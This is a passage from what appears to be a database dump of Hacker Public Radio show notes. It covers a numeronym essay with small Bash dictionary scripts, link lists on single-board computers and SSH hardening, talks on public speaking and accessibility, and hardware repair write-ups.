context.</p>\n<h2 id=\"looking-at-a11y-as-an-example\">Looking at <em>a11y</em> as an\nexample</h2>\n<p>While I sympathise with the motivation behind using\n<code>\'a11y\'</code> to mean <em>accessibility</em>, I do find it odd and\ncounter-intuitive. I often find myself pondering the acceptability of\nthis type of abbreviation. How many other words in common English fit\npatterns like this I wonder? Quite a few I would expect. How does this\naffect the admissibility of such abbreviations?</p>\n<p>Not only are they adventurously strange to my simple brain, but I\nfind them to be aesthetically displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\naffirmatively supportive of this view. I describe this experiment\nlater.</p>\n<p>Algebraically, it is to be expected that there are many dictionary\nwords of 13 characters which start with <code>\'a\'</code> and end with\n<code>\'y\'</code>. Looking at them allegorically, such numeronyms convey\nlittle meaning except in very limited contexts since the motivation\nseems to be to reduce the need to type long words. Alternatively, if\nthey were accepted by data entry software and expanded automatically a\nbetter case could be made for applicability, but only one word could be\nassigned to a numeronym.</p>\n<p>In my mind there is a certain artificiality in the use of these\nabbreviations. </p>\n<hr />\n<p>You might wonder at the weird rambling nature of the above section -\nthis was my (small) joke to try and use many of the words that match the\n<em>a11y</em> pattern.</p>\n<p>Heres the result of transforming them:</p>\n<blockquote>\n<p><small>While I sympathise with the motivation behind\n<code>\'a11y\'</code> to mean <em>accessibility</em>, I do find it odd and\ncounter-intuitive. I often find myself pondering the <code>a11y</code>\nof this type of abbreviation. How many other words in common English fit\nthese patterns I wonder? Quite a few I would expect. How does this\naffect the <code>a11y</code> of such abbreviations?</small></p>\n<p><small>Not only are they <code>a11y</code> strange to my simple brain, but I\nfind them to be <code>a11y</code> displeasing. My experiments with the\nstandard Linux dictionary looking for words that fit this pattern I find\n<code>a11y</code> supportive of this view. I describe this experiment\nlater.</small></p>\n<p><small><code>A11y</code>, it is to be expected that there are many\ndictionary words of 13 characters which start with <code>\'a\'</code> and\nend with <code>\'y\'</code>. Looking at them <code>a11y</code>, such\nnumeronyms convey little meaning except in very limited contexts since\nthe motivation seems to be to reduce the need to type long words.\n<code>A11y</code>, if they were accepted by data entry software and\nexpanded <code>a11y</code> a better case could be made for\n<code>a11y</code>, but only one word could be assigned to a\nnumeronym.</small></p>\n<p><small>In my mind there is a certain <code>a11y</code> in the use of these\nabbreviations.</small></p>\n</blockquote>\n<hr />\n<h2 id=\"make-your-own-numeronyms\">Make your own numeronyms</h2>\n<p>The following piece of Bash scripting scans the file\n<code>/usr/share/dict/words</code> and picks out words which match the\n<code>a11y</code> pattern (after removing those ending in\n<code>\'s</code>). It writes the word and the <em>numeronym</em>\ngenerated from it, which it computes, though its unnecessary in this\ncase because they all generate the same numeronym. I did it this way\nbecause I wanted to apply the algorithm to other words:</p>\n<pre><code>while read -r word; do\n printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\ndone &lt; &lt;(grep -E -v &quot;&#39;s$&quot; /usr/share/dict/words | grep -E &#39;^a.{11}y$&#39;)</code></pre>\n<p>Heres a variant which selects all words which are 8-20 letters long,\nand picks 20 at random to which to apply the <em>numeronym</em>\nalgorithm:</p>\n<pre><code>while read -r word; do\n printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\ndone &lt; &lt;(grep -E -v &quot;&#39;s$&quot; /usr/share/dict/words | grep -E &#39;^.{8,20}$&#39; | shuf -n 20)</code></pre>\n<p>Here is a sample:</p>\n<pre><code>Aconcagua A7a\nsemiweeklies s10s\nbroadened b7d\nenlisting e7g\nnonpolitical n10l\nrecessional r9l\nreorganizing r10g\noptimizations o11s\ntaunting t6g\nsubservience s10e\ndinosaur d6r\nhydroelectric h11c\nmellowing m7g\nperching p6g\nWinnebago W7o\nbunghole b6e\nmundanely m7y\nnoisemaker n8r\nrattlings r7s\nmicroprocessors m13s</code></pre>\n<p>Have fun with this - if you are so inclined!</p>\n<h2 id=\"extremely-long-word-fake\">Extremely long word (fake)</h2>\n<p>In researching for this episode I came upon an <em>extremely</em>\nlong word, with information about it on <a\nhref=\"https://en.wikipedia.org/wiki/Pneumonoultramicroscopicsilicovolcanoconiosis\">Wikipedia</a>.\nThe word is:</p>\n<pre><code>Pneumonoultramicroscopicsilicovolcanoconiosis</code></pre>\n<p><a\nhref=\"https://upload.wikimedia.org/wikipedia/commons/4/4b/En-us-pneumonoultramicroscopicsilicovolcanoconiosis.ogg\">Click\nto hear it spoken on Wikipedia</a></p>\n<p>This is a made-up (possibly nonsensical) word, but I thought I could\ntry my algorithm on it:</p>\n<pre><code>$ word=&quot;Pneumonoultramicroscopicsilicovolcanoconiosis&quot;\n$ printf &#39;%-20s %s&bsol;n&#39; &quot;$word&quot; &quot;${word:0:1}$((${#word}-2))${word: -1}&quot;\nPneumonoultramicroscopicsilicovolcanoconiosis P43s</code></pre>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>Numeronyms dont appeal to me. Notwithstanding my little jokes above,\nI know the proposal is <strong>not</strong> to replace all longer words\nwith them; this would cause chaos! However, as a means of denoting long\nwords this seems wrong.</p>\n<p>I assume that their evolution occurs like this:</p>\n<ul>\n<li>We use a word often in a particular context</li>\n<li>The word is long and not easy to type</li>\n<li>For the sake of speed and to avoid typographic errors we make a\n<em>numeronym</em></li>\n<li>We then tell the world that <code>\"i18n\"</code> (as an example)\nmeans <em>internationalisation</em>.</li>\n<li>Those in the know have no problems with it but many people who\nencounter it later puzzle over it - as I am doing here!</li>\n</ul>\n<p>It seems fair to say that this obscure process has fulfilled the need\nto abbreviate this awkwardly long word - in the limits of the context\nwhere it has evolved. However it has not conveyed information very well;\nit has mainly benefited those who write (or read) documentation relating\nto the context.</p>\n<p>Many editor and word processor applications have the facility of\nexpanding abbreviations like this, in my experience. I would prefer to\nuse this rather than embed the coded abbreviation into the language.</p>\n<p>On the other hand, Im OK with\n<em>Pneumonoultramicroscopicsilicovolcanoconiosis</em> being replaced by\n<em>P43s</em>!</p>\n<p>I will confess that I had a similar reaction to <a\nhref=\"https://xkcd.com/1133/\">XKCDs “<em>Up Goer Five</em>”</a>\nidea. He explains the Saturn 5 - “<em>Explained using only the ten\nhundred words people use the most often</em>”.</p>\n<p>Maybe you disagree with me! If so, feel free to add a comment to this\nshow — or indeed, record a show of your own!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Numeronym\">Wikipedia article\non Numeronyms</a></li>\n</ul>\n<ul>\n<li>XKCD:\n<ul>\n<li>Comic 1133: <a href=\"https://xkcd.com/1133/\"><em>Up Goer\nFive</em></a></li>\n<li><a\nhref=\"https://www.explainxkcd.com/wiki/index.php/1133:_Up_Goer_Five\"><em>XKCD\nExplained</em> - <em>1133: Up Goer Five</em></a></li>\n<li><a href=\"https://splasho.com/upgoer5/\">The Up-Goer Five text\neditor</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Fake words:\n<ul>\n<li>Lung disease <a\nhref=\"https://en.wikipedia.org/wiki/Pneumonoultramicroscopicsilicovolcanoconiosis\"><em>Pneumonoultramicroscopicsilicovolcanoconiosis</em></a></li>\n<li>Welsh village <a\nhref=\"https://en.wikipedia.org/wiki/Llanfairpwllgwyngyll\"><em>Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch</em></a></li>\n</ul></li>\n</ul>\n<hr />\n</article>\n',225,0,1,'CC-BY-SA','English, abbreviation, numeronym, alphanumeric acronym, numerical contraction',0,0,1),
(3757,'2022-12-27','Career changes.',1625,'Chatting about recent career changes','<ul>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dmv60a.pdf&amp;sa=U&amp;ved=2ahUKEwiDq_nWwYv8AhVvnXIEHftcBtgQFnoECAAQAQ&amp;usg=AOvVaw1iPgvhHhKfYRIsTwiEWEuc\">Virginia\nCDL Manual</a></p></li>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dl8.pdf&amp;sa=U&amp;ved=2ahUKEwiEkd30wYv8AhURg3IEHeq1DucQFnoECAEQAg&amp;usg=AOvVaw3v6tYiEbtT_btwp8qGVfTN\">CDL\nDL-8 form</a></p></li>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/drivers/cdl_medical.html&amp;sa=U&amp;ved=2ahUKEwiPlOONwov8AhWHgnIEHWUvD_UQFnoECAcQAQ&amp;usg=AOvVaw1b8wX0dvFqoCNyoY0ddlnf\">CDL\nMedical Exam form</a></p></li>\n</ul>\n',391,0,0,'CC-BY-SA','CDL, Class A CDL',0,0,1),
(3759,'2022-12-29','Chatting with dnt.',2629,'Small talk on SBCs and free software.','<ul>\n<li>Amazon Scalpers selling raspberry pi 4:\n<ul>\n<li><a\nhref=\"https://www.amazon.com/LANDZO-Raspberry-Pi-Model-8gb/dp/B08R87H4RR/ref=sr_1_4?crid=168SFYYOB8U0X&amp;keywords=raspberry+pi+4&amp;qid=1671673312&amp;sprefix=Ras%2Caps%2C85&amp;sr=8-4\">$219.00\npi4 8gb</a></li>\n<li><a\nhref=\"https://www.amazon.com/iUniker-Raspberry-Power-Supply-Heatsink/dp/B0B5KXJD9N/ref=sr_1_2_sspa?crid=168SFYYOB8U0X&amp;keywords=raspberry+pi+4&amp;qid=1671673312&amp;sprefix=Ras%2Caps%2C85&amp;sr=8-2-spons&amp;psc=1&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUExVTRHOFhXRDQ3STAwJmVuY3J5cHRlZElkPUEwNTY1NTExMTJNOEE5REc1NFpYWCZlbmNyeXB0ZWRBZElkPUEwMjI4NzgzMlJUMzFOMVFJTDJMNyZ3aWRnZXROYW1lPXNwX2F0ZiZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU=\">$285.99\niUniker pi 4 8gb kit</a></li>\n<li><a\nhref=\"https://www.amazon.com/Raspberry-CM4108032-Quad-Core-Processor-Bluetooth/dp/B0BJQ9Q7SH/ref=sr_1_1_sspa?crid=O19CYY1CXLNJ&amp;keywords=raspberry%2Bpi%2Bcompute%2Bmodule%2B4&amp;qid=1671673531&amp;sprefix=raspberry%2Bpi%2Bcompu%2Caps%2C84&amp;sr=8-1-spons&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUExMVRUUU1GWldZTTNSJmVuY3J5cHRlZElkPUEwOTYzMTM5MUpDWTUzME1UTTFCWiZlbmNyeXB0ZWRBZElkPUEwMTQwMDQxRURUWTg0SEM4T0lWJndpZGdldE5hbWU9c3BfYXRmJmFjdGlvbj1jbGlja1JlZGlyZWN0JmRvTm90TG9nQ2xpY2s9dHJ1ZQ&amp;th=1\">$285.99\npi 4 8gb compute module</a></li>\n<li><a\nhref=\"https://www.amazon.com/seeed-studio-Raspberry-Personal-Computer/dp/B08T6KSF7F/ref=sr_1_3?crid=1QIY5KXLCRV9X&amp;keywords=raspberry%2Bpi%2B400&amp;qid=1671673797&amp;sprefix=raspberry%2Bpi%2B400%2Caps%2C92&amp;sr=8-3&amp;th=1\">$145.99\npi 400</a></li>\n<li><a\nhref=\"https://www.amazon.com/RasTech-Raspberry-Starter-Heatsinks-Screwdriver/dp/B0B6NMQFVR/ref=sr_1_2_sspa?crid=3KPRQRSZCG7FL&amp;keywords=raspberry+pi+3&amp;qid=1671673889&amp;sprefix=raspberry+pi+3%2Caps%2C84&amp;sr=8-2-spons&amp;psc=1&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUFEQzBMQlRYNU85VDcmZW5jcnlwdGVkSWQ9QTAxNjE0MzVHU0JDT1BBR0dLREUmZW5jcnlwdGVkQWRJZD1BMDcxNjY1MjFRVUJSU0NKTzVMTjcmd2lkZ2V0TmFtZT1zcF9hdGYmYWN0aW9uPWNsaWNrUmVkaXJlY3QmZG9Ob3RMb2dDbGljaz10cnVl\">$235.99\npi 3 kit</a></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"software-and-documentation-mentioned-during-the-show\">Software\nand documentation mentioned during the show.</h2>\n<ul>\n<li><a href=\"https://git-annex.branchable.com/\">git-annex</a>\n<ul>\n<li>git-annex allows managing large files with git, without storing the\nfile contents in git. It can sync, backup, and archive your data,\noffline and online.</li>\n</ul></li>\n<li><a href=\"https://taskwarrior.org/\">Taskwarrior</a>\n<ul>\n<li>Taskwarrior is Free and Open Source Software that manages your TODO\nlist from the command line.</li>\n</ul></li>\n<li><a href=\"https://www.haskell.org/\">Haskell.org</a>\n<ul>\n<li>An advanced, purely functional programming language.</li>\n<li><a href=\"https://wiki.haskell.org/Haskell\">Haskell wiki</a></li>\n<li><a href=\"http://www.learnyouahaskell.com/\">Haskell Book: Learn you a\nHaskell for great good!</a></li>\n<li><a\nhref=\"https://www.hackerpublicradio.org/correspondents/0364.html\">tutorto</a>\n&#x2190; insert <a\nhref=\"https://www.youtube.com/watch?v=g78FIFSdi8U&amp;list=PL6F112y8X_M5F7_DFgeIbSI5Tb9Cx7CA4&amp;index=4\">battle\nmusic</a> from <a\nhref=\"https://elderscrolls.bethesda.net/en/skyrim/\">Skyrim</a></li>\n<li>Because <a\nhref=\"https://www.hackerpublicradio.org/correspondents/0399.html\">dnt</a>\nmust answer for his crimes against Haskell.</li>\n</ul></li>\n<li><a href=\"https://radicale.org/v3.html\">Radicale</a>\n<ul>\n<li>Radicale is a small but powerful CalDAV (calendars, to-do lists) and\nCardDAV (contacts) server.</li>\n</ul></li>\n<li><a href=\"https://www.ssh.com/academy/ssh/command\">SSH\nDocumentation</a>\n<ul>\n<li><a href=\"https://www.ssh.com/academy/ssh/port\">port 22 and info on\nnon-privileged or non-root ports</a></li>\n<li><a href=\"https://www.ssh.com/academy/ssh/sshd_config\">sshd\nconfig</a>: checkout <code>AllowUsers</code> and <code>DenyUsers</code>\nfor your config.</li>\n</ul></li>\n<li><a\nhref=\"https://www.fail2ban.org/wiki/index.php/Main_Page\">Fail2Ban</a></li>\n<li><a href=\"https://iptables.org/\">iptables</a></li>\n<li><a\nhref=\"https://security.stackexchange.com/questions/106953/how-do-attackers-find-the-ip-addresses-of-recently-deployed-servers\">How\nattackers find ip addresses</a>\n<ul>\n<li><a\nhref=\"https://subscription.packtpub.com/book/security/9781786467454/1/ch01lvl1sec17/scanning-random-targets-on-the-internet\">nmap\nscanning internet for random targets</a>: for learning purposes\nonly!!!</li>\n</ul></li>\n<li><a href=\"https://pagekite.net/\">Pagekite</a></li>\n<li><a\nhref=\"https://learn.microsoft.com/en-us/windows/wsl/install\">Windows\nSubsystem for Linux</a></li>\n<li><a href=\"https://www.figma.com/\">Figma</a></li>\n<li><a\nhref=\"https://www.raspberrypi.com/news/production-and-supply-chain-update/\">Raspberry\npi focus on businesses first</a></li>\n<li><a href=\"https://www.youtube.com/c/ETAPRIME\">ETA Prime</a></li>\n<li><a\nhref=\"https://www.pine64.org/2022/12/15/december-update-merry-christmas-and-happy-new-pinetab/\">PineTab\n2</a></li>\n<li><a href=\"https://riscv.org/\">risc-v</a> building the first open,\ncollaborative community of software and hardware innovators powering\ninnovation at the edge forward.</li>\n<li><a href=\"https://www.arm.com/architecture/cpu\">arm\narchitecture</a></li>\n</ul>\n',391,0,0,'CC-BY-SA','Raspberry Pi, single board computers, haskell',0,0,1),
(3758,'2022-12-28','First sysadmin job - war story',1685,'How I got my first job as a sysadmin and a story about NFS','<p>I love show notes, but I don\'t have any this time.</p>\r\n\r\n<p>\r\nHow Norrist moving into a new IT Linux Admin career. Can he solve the mystery of the NFS issues he inherited ?\r\n</p>',342,0,0,'CC-BY-SA','career, nfs, php',0,0,1),
(3763,'2023-01-04','The Baader-Meinhof Phenomenon',767,'A look into this psychological phenomenon ','<h1 id=\"baader-meinhof-phenomenon\">Baader-Meinhof Phenomenon</h1>\n<p>This is a psychological experience.</p>\n<p>When I describe it in full, if you are of any age, you will almost\ncertainly think \"oh yes, that has happened to me.\"</p>\n<p>For older listeners, the name Baader-Meinhof might be memorable as a\nname given to a group who liked to call themselves the \'Red Army\nFaction.\'</p>\n<p>The name Baader-Meinhof, after two notable members of the group, was\ngiven to it by journalists.</p>\n<p>In the late sixties, all through the seventies, and even into the\neighties, the Red Army Faction were responsible for a number of\nterrorist attacks in and around East and West Germany. One person\'s\nterrorist is another person\'s freedom fighter, but we will not get into\nthat discussion.</p>\n<p>This psychological phenomenon was given the name, after a man wrote a\nletter to a newspaper in 1994 pointing out that he had recently heard\nthe name, Baader-Meinhof, and thereafter, seemed to hear or see it again\nand again.</p>\n<p>Following that, many people wrote to the same newspaper making\nsimilar comments, about recently heard names, usually nouns, which were\nthen noticed by them frequently.</p>\n<p>The phenomenon was also given the name \'Frequency Illusion\' in\n2005.</p>\n<h2 id=\"wikipedia\">Wikipedia</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/Frequency_illusion\">Here is\nthe Wikipedia link to the page for the \'Frequency Illusion\', also known\nas the \'Baader-Meinhof Phenomenon.</a></p>\n',282,0,1,'CC-BY-SA','Baader-Meinhof Phenomenon',0,0,1),
(3773,'2023-01-18','My Public Speaking Rules',1055,'Some tips on public speaking for technical talks or lectures.','<h1 id=\"public-speaking\">Public Speaking</h1>\n<p>For many people, public speaking is a very traumatic thing.</p>\n<p>It is not something that has ever held any great terror for me. That\nis especially true now I am totally blind.</p>\n<h2 id=\"my-public-speaking-rules\">My Public Speaking Rules</h2>\n<p>These are some rules I live by when public speaking. These apply to\nthings like technical talks or lectures. Not necessarily to after dinner\nspeaking, or the speech you might give as the best man at a wedding.\nThose things are different entirely:</p>\n<ol type=\"1\">\n<li><p>NEVER start a talk with an apology for being a bad public\nspeaker. You will be implanting in the audience the subconscious\nsuggestion that they are about to sit through a talk given by a bumbling\nidiot with limited knowledge of the published subject.</p></li>\n<li><p>Three part rule. A talk about a technical or serious subject\nshould be divided into these three parts</p>\n<ul>\n<li>tell them what you are going to be talking about</li>\n<li>the meat of the talk</li>\n<li>summarise what you just told them.</li>\n</ul>\n<p>This was given to me a very long time ago by a retired lecturer from\nthe London School of Economics.</p></li>\n<li><p>The people in the audience wanted to be there. So there is little\nor no hostility in the room. And much empathy.</p></li>\n<li><p>Don\'t rush yourself. Pace the talk. Rushing can be a nasty\nfeedback loop which makes your pace increase and your level of\nconfidence plummet.</p></li>\n<li><p>Don\'t be afraid of pauses, or silence. These moments can give you\nbreathing space to summarise in your own mind where you are at, whether\nthe last thing you said needs amplification, and what is to come\nnext.</p></li>\n<li><p>Don\'t be afraid of the \'ums and erms.\' But keep it to a minimum.\nSilence is better than verbal ticks.</p></li>\n<li><p>Keep humour to a minimum. Depends on the kind of event. If you\nare the best man at a wedding, you are supposed to inject humour,\nprobably at the expense of the groom.</p></li>\n<li><p>You don\'t need to pick out one audience member to talk to. You\nare just as effective if you are focused on the back wall. Talking to\njust one member of the audience, particularly if they are right at the\nfront, is probably not a good look. Glancing round the room helps to\nmake everybody feel included.</p></li>\n</ol>\n<h2 id=\"notes\">Notes</h2>\n<p>I probably broke some of my rules, in particular inserting verbal\nticks early in the podcast. I think I improved focus as I went on.</p>\n<p>I inserted some humour, including some comments about my family\nChristmas, but then it is, well, Christmas.</p>\n<p>I am almost never happier than when I am learning new things.</p>\n<p>I am fiercely proud of, and amazed at the amount of things I know\nabout a lot of subjects. I am a knowledge sponge.</p>\n<p>The one thing that does make me happier than learning, is sharing\nwhat I know. Which I often do in a tone which suggests I am just amazed\nat the fact I know this stuff at all.</p>\n<p>Remember, the things you don\'t yet know are more important than the\nthings you already know. That is true for everybody. So share your\nknowledge in good spirit, keeping arrogance out of the picture.</p>\n',282,0,1,'CC-BY-SA','public speaking,',0,0,1),
(3783,'2023-02-01','Accessibility, and Navigating the HPR Web Pages with a Screen Reader',1304,'Mike puts the HPR Web Site to the test.','<h1\nid=\"accessibility-and-navigating-the-hpr-web-pages-with-a-screen-reader\">Accessibility,\nand Navigating the HPR Web Pages with a Screen Reader</h1>\n<p>Some time in the last year there has been some discussion on the HPR\nmailing list about some of the problems I was having, particularly with\nthe tags page, on the HPR site.</p>\n<p>Here is a show in which you can hear both me and my screen reader, as\nI navigate the HPR home page, and then the HPR tags page.</p>\n<p>Dave Morriss has made a nice job of fixing the issues I had, and made\nthe tags page a lot more friendly for blind and visually impaired\nusers.</p>\n<p>It\'s quite a long podcast, and it took a lot of editing. So most of\nthe polish wore off by the time I \'finished\' it and decided enough was\nenough.</p>\n',282,0,1,'CC-BY-SA','Accessibility, HPR, Screen Reader',0,0,1),
(3764,'2023-01-05','My text-focused journey into tech',1151,'My journey into technology covering some of the prose-writing technology I\'ve used along the way.','<ul>\n<li>Wikipedia\'s entry for the ZX81:<br />\n<a href=\"https://en.wikipedia.org/wiki/ZX81\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ZX81</a></li>\n<li>WordPerfect in many of its forms, complete with download\nlinks:<br />\n<a href=\"https://winworldpc.com/product/wordperfect/3x-dos\"\nclass=\"uri\">https://winworldpc.com/product/wordperfect/3x-dos</a></li>\n<li>Hog Bay Software\'s WriteRoom for Mac:<br />\n<a href=\"https://www.hogbaysoftware.com/products/writeroom/\"\nclass=\"uri\">https://www.hogbaysoftware.com/products/writeroom/</a></li>\n<li>FocusWriter:<br />\n<a href=\"https://gottcode.org/focuswriter/\"\nclass=\"uri\">https://gottcode.org/focuswriter/</a></li>\n<li>How to turn Vim into a word processor:<br />\n<a href=\"https://www.maketecheasier.com/turn-vim-word-processor/\"\nclass=\"uri\">https://www.maketecheasier.com/turn-vim-word-processor/</a></li>\n<li>Hunspell:<br />\n<a href=\"http://hunspell.github.io/\"\nclass=\"uri\">http://hunspell.github.io/</a></li>\n<li>The GNU Emacs site:<br />\n<a href=\"https://www.gnu.org/software/emacs/\"\nclass=\"uri\">https://www.gnu.org/software/emacs/</a></li>\n<li>GNU aspell:<br />\n<a href=\"http://aspell.net/\" class=\"uri\">http://aspell.net/</a></li>\n<li>Flycheck for GNU Emacs:<br />\n<a href=\"https://www.flycheck.org/en/latest/\"\nclass=\"uri\">https://www.flycheck.org/en/latest/</a></li>\n<li>Help for sufferers of RSI:<br />\n<a href=\"https://www.rsiprevention.com/\"\nclass=\"uri\">https://www.rsiprevention.com/</a></li>\n</ul>\n<p>enistello can be reached by email:<br />\n<a href=\"mailto:enistello@tuta.io\"\nclass=\"email\">enistello@tuta.io</a><br />\nOr on Mastodon:<br />\n<span class=\"citation\" data-cites=\"ensitello\">@ensitello</span><span\nclass=\"citation\" data-cites=\"fosstodon.org\">@fosstodon.org</span></p>\n',415,0,0,'CC-BY-SA','text,emacs,linux,mac,distraction-free,vim,prose,plain text',0,0,1),
(3765,'2023-01-06','Fixing clock events in GBA pokemon cartridges',823,'Tinkering with the RTC (Real Time Clock) hardware on Gameboy Advance cartridges','<p>Pokemon games for the GBA (Game Boy Advance) have an internal RTC\nchip with a coin battery to keep track of the time when the console is\npowered off.<br />\nWhat happens when the internal battery runs dry? How to fix it?<br />\nIs this enough to completely restore calendar-based events?</p>\n<ul>\n<li><p>Tools:</p>\n<ul>\n<li><a\nhref=\"https://github.com/megaboyexe/GBA_RTCRead\">https://github.com/megaboyexe/GBA_RTCRead</a></li>\n<li><a\nhref=\"https://gbatemp.net/threads/how-to-reset-the-rtc-in-gba-pokemon-games-after-replacing-the-battery.558620/\">https://gbatemp.net/threads/how-to-reset-the-rtc-in-gba-pokemon-games-after-replacing-the-battery.558620/</a></li>\n<li>Swapping battery instructions <a\nhref=\"https://www.youtube.com/watch?v=1piXd3ffwug\">https://www.youtube.com/watch?v=1piXd3ffwug</a></li>\n</ul></li>\n<li><p>Additional resources:</p>\n<ul>\n<li><a\nhref=\"https://www.youtube.com/watch?v=jzauCmOvF_U\">https://www.youtube.com/watch?v=jzauCmOvF_U</a>\n(few mistakes about here)</li>\n<li><a\nhref=\"https://www.youtube.com/watch?v=TrIAyAKg2S0\">https://www.youtube.com/watch?v=TrIAyAKg2S0</a>\n(followup videos with corrections)</li>\n</ul></li>\n</ul>\n',407,103,0,'CC-BY-SA','nintendo,gba,swapping battery,RTC clock,savefile editing,game boy advance',0,0,1),
(3767,'2023-01-10','LP article from Wikipedia',2561,'LP article from Wikipedia about the long playing vinyl record and its history.','<h2 id=\"lp-record-entry-from-wikipedia\">LP record entry from\nWikipedia</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/LP_record\"\ntitle=\"LP record entry from Wikipedia\">Wikipedia - LP</a></p>\n<ul>\n<li><p>The RIAA did something right.</p>\n<p>In 1954, the Recording Industry Association of America (RIAA)\nintroduced a standard equalization curve to be used by all record\nmanufacturers.</p></li>\n</ul>\n',318,0,1,'CC-BY-SA','audio, vinyl, record, media, history',0,0,1),
(3768,'2023-01-11','Jeep Ignition Repair',631,'Replacing ignition on my 1999 Jeep Wrangler','<p>I should have started by removing these two screws</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_00.jpg\"><img alt=\"Kneeboard Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_00_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>But I actually started with two of these screws, removed the knee board, then removed the third screw</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_01.jpg\"><img alt=\"Column Housing Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_01_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>I removed the ignition assembly by removing these three screws. There is a large bump on the bottom, this is where the spring that lifts the ignition locking mechanism goes</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_02.jpg\"><img alt=\"Lower Ignition Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_02_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_03.jpg\"><img alt=\"Side Ignition Screw\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_03_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>The piece of ignition that had broken</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_04.jpg\"><img alt=\"Broken Ignition Piece\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_04_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>Replacement part. The marked part is very delicate and will snap easily</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_05.jpg\"><img alt=\"Good Ignition\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_05_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',408,0,0,'CC-BY-SA','cars, repairs',0,0,1),
(3766,'2023-01-09','ACER Nitro 5 laptop review',588,'ACER Nitro 5 laptop review','<h3 id=\"some-scant-notes-and-web-links\">Some scant notes and web\nlinks</h3>\n<p>The manufacturers website:<br />\n<a\nhref=\"https://store.acer.com/en-us/nitro-5-gaming-laptop-an515-57-537y\"\nclass=\"uri\">https://store.acer.com/en-us/nitro-5-gaming-laptop-an515-57-537y</a></p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Device name</td>\n<td style=\"text-align: left;\">Not disclosed</td>\n</tr>\n<tr class=\"even\">\n<td style=\"text-align: left;\">Processor</td>\n<td style=\"text-align: left;\">Intel(R) Core(TM) i5-10300H CPU @ 2.50GHz\n2.50 GHz</td>\n</tr>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Installed RAM</td>\n<td style=\"text-align: left;\">8.00 GB (7.83 GB usable)</td>\n</tr>\n<tr class=\"even\">\n<td style=\"text-align: left;\">System type</td>\n<td style=\"text-align: left;\">64-bit operating system, x64-based\nprocessor</td>\n</tr>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Pen and touch</td>\n<td style=\"text-align: left;\">No pen or touch input is available for\nthis display</td>\n</tr>\n</tbody>\n</table>\n',365,0,0,'CC-BY-SA','laptop reviews, ACER',0,0,1),
(3769,'2023-01-12','Crouching laptop, hidden server (part 0).',835,'Virtualized battlegrounds.','<h1 id=\"crouching-laptop-hidden-server-part-0\">Crouching laptop, hidden\nserver (part 0).</h1>\n<h2 id=\"virtualized-battlegrounds\">Virtualized battlegrounds.</h2>\n<ul>\n<li>Archer72\'s system: <a\nhref=\"https://gadgetaz.com/Laptop/Acer_Aspire_AS5750-6866--5402\">Acer\nAspire 5750-6866</a>\n<ul>\n<li>CPU: Intel Core i3 2350M (2.3 GHz max, 2 cores, 3MB cache).</li>\n<li>RAM: 4GB DDR3-1600 SODIMM (2 x 2GB currently, 2 x 4GB upgrade\nplanned).</li>\n<li>Video: Integrated Intel GMA HD 3000.</li>\n<li>DISK: 120GB SATA SSD.</li>\n<li>NIC: Integrated 1000 mbps.\n<ul>\n<li>802.11 b/g/n Wi-Fi.</li>\n<li>Bluetooth not installed.</li>\n</ul></li>\n</ul></li>\n<li>SGOTI\'s system: <a\nhref=\"https://support.hp.com/us-en/document/c06060339\">HP Notebook\n14-ck0052cl</a>\n<ul>\n<li>CPU: Intel Core i3-8130U (2.2 GHz - 4 GHz max, 2 cores, 4MB\ncache).</li>\n<li>RAM: 16GB DDR4-2400 SDRAM (2 x 8GB, upgraded).</li>\n<li>Video: 